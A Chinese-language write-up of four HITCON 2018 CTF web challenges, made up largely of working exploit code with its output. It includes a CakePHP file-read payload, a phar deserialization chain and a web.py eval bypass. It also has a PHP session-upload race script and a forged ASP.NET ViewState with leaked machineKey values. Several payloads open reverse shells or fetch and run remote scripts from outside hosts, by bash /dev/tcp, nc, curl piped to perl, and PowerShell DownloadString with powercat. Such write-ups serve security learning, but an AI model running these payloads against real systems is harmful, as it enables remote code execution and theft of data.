前情提要#
今年跟Balsn, BambooFox, Kerkeryuan共四隊一起組成BFKinesiS
我主要都看Web的部分,雖然很多賽中都沒做出來,但賽後花了點時間檢討了一下
所以就把檢討內容和心路歷程及中間可能碰到的坑打成這篇
Baby Cake#
題目給一個輸入url的地方
送出後,他會發Request去該url,並把Response Body/Header Cache在mycache/IP/md5(url)/
下面
另外有給Source Code
稍微看一下,可以發現是用CakePHP寫的
主要邏輯在PagesController
從display()
中可以看到
1
2
|
$data = $request->getQuery('data');
$url = $request->getQuery('url');
|
輸入有這兩個地方,中間會經過parse_url
判斷scheme是否為http
或https
並且只允許這幾個HTTP Method: get
, post
, put
, delete
, patch
可以注意到,只有get
method會去做Cache
1
2
3
4
5
6
7
8
|
$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
}
|
比較吸引人的地方是,他在存放Header進Cache時,會經過Serialize:
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
然後在取出Cache時,會Unserialize:
$headers = unserialize($headers);
但仔細跟了一下,會發現沒有可以利用的地方,我們沒辦法完全控制unserialize($headers)
的輸入
所以只能放棄這條路,但看來看去,好像也沒其他地方有洞
最後跟了一下他的httpclient()
,他裡面其實包了Client
,也就是Cake\Http\Client
1
2
|
$http = new Client();
return $http->$method($url, $data, $options);
|
跟進去看一下,可以發現它每個method都有一個function做處理,但基本架構都差不多
所以先跟get()
看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public function get($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$body = null;
if (isset($data['_content'])) {
$body = $data['_content'];
unset($data['_content']);
}
$url = $this->buildUrl($url, $data, $options);
return $this->_doRequest(
Request::METHOD_GET,
$url,
$body,
$options
);
}
|
裡頭呼叫buildUrl($url, $data, $options)
,跟進去可以看到,當options, data為空時,會直接return
所以對get()
來說,這邊不會做啥事情
繼續看下去,他會呼叫__doRequest(Request::METHOD_GET,$url,$body,$options);
裡頭又呼叫_createRequest($method,$url,$data,$options);
再跟進去看,裡頭先對header做處理,然後呼叫new Request($url, $method, $headers, $data);
繼續往Request.php追:
1
2
3
4
5
6
7
8
9
10
11
12
|
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}
|
這裡會先呼叫validateMethod($method)
做一些判斷,但沒啥可利用的地方
接著呼叫createUri($url)
,跟進去會看到return new Uri($uri)
其實這邊後面再跟下去,也沒啥可以利用的地方
後面在做的事情大概是先parseUri($uri)
,然後裡面會parse_url($uri)
,接著設定scheme, userInfo, host, port, path, …
跟完這邊,再往回看,回到剛剛的Request::__construct
裡頭會呼叫$this->addHeaders($headers)
,但一樣沒啥值得利用的地方
最後會呼叫$this->body($data)
可以發現當$body ($data)
為Array時,會去
1
2
3
4
5
6
|
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
|
跟進addMany()
瞧瞧
1
2
3
|
foreach ($data as $name => $value) {
$this->add($name, $value);
}
|
裡頭對$data
每個元素做add()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}
return $this;
}
|
我們可以發現當$value
為@
開頭的字串時,雖然會trigger_error,但後面會繼續addFile($name, $value)
跟進去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}
|
Bang! 終於找到一點有趣的東西惹
可以看到他會把$value
直接丟進file_get_contents($value)
統整一下,這個$value
是從$data
陣列來的,而$data
是直接從getQuery('data')
來的!
繼續往下跟,會發現它把讀出來的內容直接透過fopen
送到$url
指定的地方
所以我們到這邊就有一個任意讀檔漏洞!
Payload:
1
2
3
|
import requests
s = requests.session()
s.post('http://13.230.134.135/', params={'url': 'http://yourip:yourport', 'data[]': '@/etc/passwd'})
|
這邊得感謝隊友發現這個洞,我第一次review時,看完_createUri
就剛好沒跟到body()
,然後繼續往回跟send()
偏偏send()
後面還有非常一長串的calling chain,所以一整晚的時間就這樣沒了…
全部跟完,還以為沒洞,結果原來是少跟一個function…
OK
接下來,可以發現它底下有/read_flag
和/flag
,沒辦法直接讀出flag
所以肯定得拿shell
但靠讀檔翻了一兩個小時,根本沒發現啥可以拿shell的東西
AWS metadata, ssh key, … 全踹過了
正當崩潰以為找錯洞時
我突然一個靈感閃現
題目給Body.cache,不就等於是讓我們上傳檔案嗎
然後file_get_contents()
參數又可以塞PHP wrapper
那不就可以用今年最潮的phar://
去反序列化嗎!
眼看離比賽結束已經不到1小時,只好拼拼看惹
一開始以為要自己構造POP chain,後來隊友發現phpggc有Monolog
而從source code可以看到也用了在漏洞影響範圍內的Monolog
!
Monolog/RCE1 1.18 <= 1.23 rce __destruct
composer.json:
"monolog/monolog": "^1.23"
讚,立馬clone phpggc下來構造payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
namespace GadgetChain\Monolog;
class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public $version = '1.18 <= 1.23';
public $vector = '__destruct';
public $author = 'cf';
public function generate(array $parameters)
{
$code = "bash -c 'bash -i >& /dev/tcp/kaibro.tw/10001 0>&1'";
@unlink('exp.phar');
$p = new \Phar('exp.phar');
$p->startBuffering();
$p->setStub("<?php __HALT_COMPILER();?>");
$p->addFromString("test.txt", "test");
$p->setMetadata(new \Monolog\Handler\SyslogUdpHandler(new \Monolog\Handler\BufferHandler(['current', 'system'],[$code, 'level' => null])));
$p->stopBuffering();
}
}
|
跑完會生成exp.phar
然後傳到我自己的Server: kaibro.tw/exp.phar
接著透過以下腳本觸發反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import requests
import sys
import hashlib
m = hashlib.md5()
ip = '1.2.3.4'
r = requests.get('http://13.230.134.135/?url='+sys.argv[1])
s = requests.session()
m.update(sys.argv[1])
pay = "phar:///var/www/html/tmp/cache/mycache/"+ip+"/"+m.hexdigest()+"/body.cache"
print pay
print(s.post('http://13.230.134.135/', params={'url': 'http://kaibro.tw:6666/', 'data[]': '@'+pay}))
|
即可成功Reverse shell回來
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
www-data@ip-172-31-24-186:/$ ls -a
ls -a
.
..
bin
boot
dev
etc
flag
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
read_flag
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
www
|
hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}
不過賽中其實沒拿到flag,後來賽後debug才發現payload中的/read_flag
忘記加斜線…
如果當時乖乖reverse shell就好惹QQ
Oh My Raddit & v2#
這題分類是Web+Crypto
其中第一題的flag是Encryption key
然後有給提示:
assert ENCRYPTION_KEY.islower()
接著觀察題目
可以發現,題目大致上都由參數s
來決定要做啥行為
而會帶s
參數的地方,可以分成三種:
- 文章連結
- 下載連結
- 顯示文章數 (最上頭那個下拉選單)
觀察下載連結,可以發現:
- 結尾都是
3ca92540eb2d0a42
(8 bytes)
- 開頭都是
2e7e305f2da018a2cf8208fa1fefc238
(16 bytes)
並且還發現似乎標題愈長,s就愈長
然後顯示文章數的地方也可以發現:
-
total 10: 06e77f2958b65ffd3ca92540eb2d0a42
-
total 100: 06e77f2958b65ffd2c0f7629b9e19627
只有後8 bytes不同
一臉ECB mode樣,且block size很明顯是8
從frequency可以發現3ca92540eb2d0a42
出現次數非常高
可以大膽猜測他就是padding
到這邊我就去睡覺了
然後睡醒就發現,隊友猜出DES,然後硬爆出來key: megnnaro
(DES中,每個字元的二進位最低位不會參與運算,再加上提示說key都是小寫,所以key space只有abdfhjlnprtvxz
,可以直接暴力踹key。似乎有機會踹到等價的key,但沒差可以去解密文然後載app.py
讀code)
第一題flag: hitcon{megnnaro}
(賽後看到orange說可以用hashcat秒爆: sudo hashcat -a 3 -m 14000 '3ca92540eb2d0a42:0808080808080808' -1 DESALL.txt --hex-charset ?1?1?1?1?1?1?1?1 -n 4 --force --potfile-disable
)
接著我就繼續看v2的部分
有了key之後,就能還原明文,然後可以修改下載功能的檔名,達到任意下載
第一步當然就是看 app.py: m=d&f=app.py
https://github.com/w181496/CTF/blob/master/hitcon2018/OhMyRaddit/app.py
可以看到他使用web.py
參數m
為r
代表取出record,為d
代表下載,為p
代表抓文章(可以設定limit)
剛好之前有瞄過web.py的洞
所以我很快就找到這個 issue
可以看到他這邊是對RCE做的防禦,他下面有個邪惡的eval
也因為很久以前聽過,所以大概猜到這邊可以繞過dictionary['__builtins__'] = object()
而只需要從m=p&l=${command}
就會從limit走到eval那邊
接著就是Bypass了
隊友一個秒速Bypass:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# coding: UTF-8
import os
import urllib
import urlparse
import requests
from Crypto.Cipher import DES
ENCRPYTION_KEY = 'megnnaro'
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
tmp = {
'm': 'p',
'l': "${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc kaibro.tw 6666',shell=1)}"
}
print(encrypt(urllib.urlencode(tmp)))
r = requests.get("http://13.115.255.46/?s="+encrypt(urllib.urlencode(tmp)))
print(r.text)
|
hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
One Line PHP Challenge#
神題,只有短短一行,但只有3隊解掉
看到這題,第一個想到的就是踹各種PHP Wrapper/Protocol
1
2
3
4
5
6
7
8
9
10
11
12
|
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams
|
由於allow_url_include
沒開,所以很多wrapper到了include()
都沒辦法利用
接著就很自然地想到phpinfo+lfi去RCE的套路
(沒聽過這個經典招的可以參考這個: https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
硬傳檔案上去,然後再刪除前的這短暫時間去Race Condition include拿shell
只是這題沒辦法直接取得tmp檔名,而且賽後才知道Ubuntu 17後預設開啟PrivateTmp
,所以沒辦法使用這招拿shell
前幾天才聽cyku提過這個,但沒想到Ubuntu高版本預設會啟用…
PrivateTmp細節可以看這篇 https://www.cnblogs.com/lihuobao/p/5624071.html
然後賽後檢討才知道,原來預設會開session.upload_progress
(之前在某場中國CTF似乎碰過,但我賽中完全沒想到QQ)
他主要是用來給我們監控上傳檔案進度的功能
詳細可以參考 http://php.net/manual/zh/session.upload-progress.php
簡單說,當session.upload_progress.enabled
開啟時,我們可以發送POST請求
PHP會在$_SESSION
中添加我們的資料,若配合LFI,就能getshell
當session.upload_progress.cleanup=on
時,上傳成功的Session會立刻銷毀,必須Race condition來getshell
由於題目有給我們版本資訊,我們可以知道該版本session存放路徑為/var/lib/php/sessions
成功上傳的SESSION內容會放在sess_{PHPSESSID}
中
裡頭內容大致上長這樣:
1
|
upload_progress_aaaa|a:5:{s:10:"start_time";i:1540600520;s:14:"content_length";i:7182;s:15:"bytes_processed";i:5357;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";s:4:"name";s:6:"passwd";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540600520;s:15:"bytes_processed";i:5357;}}}
|
所以我們已經可以控制檔名和一部分裡頭的內容了
接著就是想辦法通過開頭為@<?php
的檢查
這裡可以利用到php warpper的特性
他可以針對輸入流做base64, rot13, …等各種encode/decode
而file
和include()
都支援這種用法
我們只要想辦法找出一種組合讓最後SESSION內容變成@<?php
開頭就行!
這邊orange官方做法是去Base64 Decode三次
讓他Decode完結果剛好前面多餘的upload_progress_
字串都爛掉,只留我們最後可控的部分
由於要decode三次,所以得保證三次decode完要變空字串,且不會吃到後面我們真正要放的@<?php xxx
這邊orange的做法是先塞ZZ
在payload前,如此一來upload_progress_ZZ
去base64 decode三次之後剛好會變空字串,且不會影響到後面
隨便亂塞的話,影響到後面的機率非常高,因為base64 decode是4個bytes、4個bytes去抓
只要中間值的範圍內可見字元非4的倍數就會往後抓,往後抓就很容易搞爛我們的payload
(p.s. php base64塞非範圍內字元不會影響結果,所以_
之類的字元不影響)
然後後面部分還要注意三次decode時,中間值不能有=
,測試發現php://filter
在base64 decode遇到XXX=YYY
這種狀況,decode會噴錯
(用base64_decode()
就不會)
所以像以下orange的exp,就特別去random找中間值不會出現=
的junk字串塞在後面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
payload = xxx
print payload
break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
|
除了base64_decode
外,也可以用各種encode方法,例如strip_tags
,只要讓開頭最後變成@<?php
即可
Why so Serials?#
P.S. 因為以前幾乎沒碰過ASP.net的題目,所以這邊主要是根據cyku的writeup和orange的writeup整理和各種google查資料學習而來
這題題目只有一個上傳頁面Default.aspx
有給Source Code: http://13.115.118.60/Default.aspx.txt
從Code可以看到,幾乎所有可以執行的副檔名都擋光了
ASP.NET Web Project File Types
但是可以發現他沒擋掉.shtml
http://13.115.118.60/kaibro.shtml
隨便踹一下,從錯誤訊息會看到SSINC-shtml
因此可以知道Server有開SSI(Server Side Include)
所以可以透過上傳.shtml
, .shtm
等副檔名的檔案來達到File Inclusion
其實SSI也有機會直接RCE,可以用<!--#exec cmd="command"-->
但試了一下,發現Server沒開EXEC,此路不通
那我們就只能從讀檔下手了
上傳<!--#include file="../../web.config"-->
後
我們可以看到machinekey
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
<machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>
|
這樣一來我們就得到Machinekey了,所以加解密、MAC都沒問題惹
所以這題另一考點就是在ViewState
ViewState會把Web Form的內容保存下來,所以我們查看網頁原始碼可以看到有一些hidden的input tag,這樣做可以減少Server負擔
(Client這邊反而Loading增加)
這邊可以看詳細ViewState介紹 https://msdn.microsoft.com/en-us/library/ms972976.aspx
最重要的地方是ViewState存放的資料會經過序列化,取出時會反序列化
所以這邊其實就有一個反序列化漏洞,透過pwntester的ysoserial.net就可以直接串Gadget去RCE
只是通常ViewState都會有加密和MAC驗證,沒辦法直接偽造
這時候Machinekey就派上用場了
但其實以這題來說,他並沒有對ViewState加密,我們可以直接得到裡頭的內容 (因為沒有設定viewStateEncryptionMode
)
Burp本身可以解ViewState,不喜歡用Burp的也可以找一些Online Decode網站去解ViewState (https://www.httpdebugger.com/tools/ViewstateDecoder.aspx)
可以看到ViewState的確不需要用Key解密,直接Decode就能解出來了
所以接著就去看該怎麼做MAC
這邊就參考Cyku的做法,直接去讀.net做MAC的Source Code
從這個連結,可以知道,ViewState是透過 ObjectStateFormatter
去做序列化的
ObjectStateFormatter is used by the PageStatePersister class and classes that derive from it to serialize view state and control state.
由於.net是open source,我們直接跟一下GitHub上的Code:
https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L766-L812
其中第798-801行:
1
2
3
4
|
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string`
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}
|
可以猜測這邊的MachineKeySection.GetEncodedData()
應該是關鍵的邏輯部分
跟進MachineKeySection.cs
的791-823行
裡頭呼叫了852-871行的HashData
這邊857-858行的s_config.Validation == MachineKeyValidation.MD5
應該是去判斷我們web.config中Validation的方法是否是用MD5
,是的話就呼叫HashDataUsingNonKeyedAlgorithm()
繼續跟進去這個函數:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
int start, int length, byte[] validationKey)
{
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
Buffer.BlockCopy(buf, start, bAll, 0, length);
if (modifier != null) {
Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
}
Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
if (hashAlgo != null) {
return hashAlgo.ComputeHash(bAll);
} else {
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
}
}
|
這邊可以觀察到他會把buf
從offset 0複製到bAll
offset 0開始的位置,複製length長度
後面會將modifier
從offset 0複製到bAll
offset length開始的位置,也就是從剛剛前面的位置後面繼續複製
最後會再把validationKey
從offset複製到bAll
offset length開始的位置,也就是直接把剛剛modifier又蓋掉
而modifier
的來源是ObjectStateFormatter.cs
裡Serialize()
的第800行:
1
|
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
|
這邊的GetMacKeyModifier()
GetMacKeyModifier()
的Source Code在ObjectStateFormatter.cs
的212-242行
可以觀察到在viewStateUserKey != null
時,回傳的_macKeyBytes
只有4 bytes
所以以這題情況來說,modifier
的BlockCopy就完全沒意義,因為他跟validationKey
寫入的位置一樣,而validationKey
長度又比modifier
長
buffer都複製完後,就會開始做以下的Hash:
1
2
3
4
|
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
|
這邊雖然函數名是GetSHA1Hash
,但實際回傳是MD5 Hash
所以總結一下,MD5 最後的MAC其實是:
md5(serialized_data + validation_key + "\x00\x00\x00\x00")
最後有4 bytes 0的原因是:
1
2
|
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
|
bAll
在create時,它的長度是serialized data長度+validationKey
長度+modifier
長度
可是我們modifier
和validationKey
實際上重疊了,所以會多出最後的modifier
長度的空間
到目前為止我們已經知道MAC的生成方法了
接著我們要偽造ViewState,就只需要把偽造的Seriailzed data按照上面方法簽完MAC,再串起來做Base64即可:
Base64(serialized_data + MAC)
即:
Base64(serialized_data + md5(serialized_data + validation_key + "\x00\x00\x00\x00"))
OK
懂算法後就能構造Payload了
ysoserial.net
得先裝個VisualStudio環境Build來跑,頗麻煩
下這行指令就能生成Base64後的Serialized data:
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5278 -e cmd" -o base64
接著,就照著前面算法去算MAC並append到serialized_data後面做base64:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import base64
import hashlib
serialized_data_b64 = "/wEy7xIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAtQEvYyBwb3dlcnNoZWxsIElFWCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZXNpbW9yaGluby9wb3dlcmNhdC9tYXN0ZXIvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMga2FpYnJvLnR3IC1wIDUyNzggLWUgY21kBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="
validation_key = "b07b0f97365416288cf0247cffdf135d25f6be87".decode('hex')
serialized_data = base64.b64decode(serialized_data_b64)
m = hashlib.md5()
m.update(serialized_data + validation_key + "\x00\x00\x00\x00")
payload = base64.b64encode(serialized_data + m.digest())
print(payload)
|
得到的payload就是一個合法的ViewState value,直接塞過去就能Reverse shell !
hitcon{c0ngratulati0ns! you are .net king!}
好玩又實用的題目XD
Reference#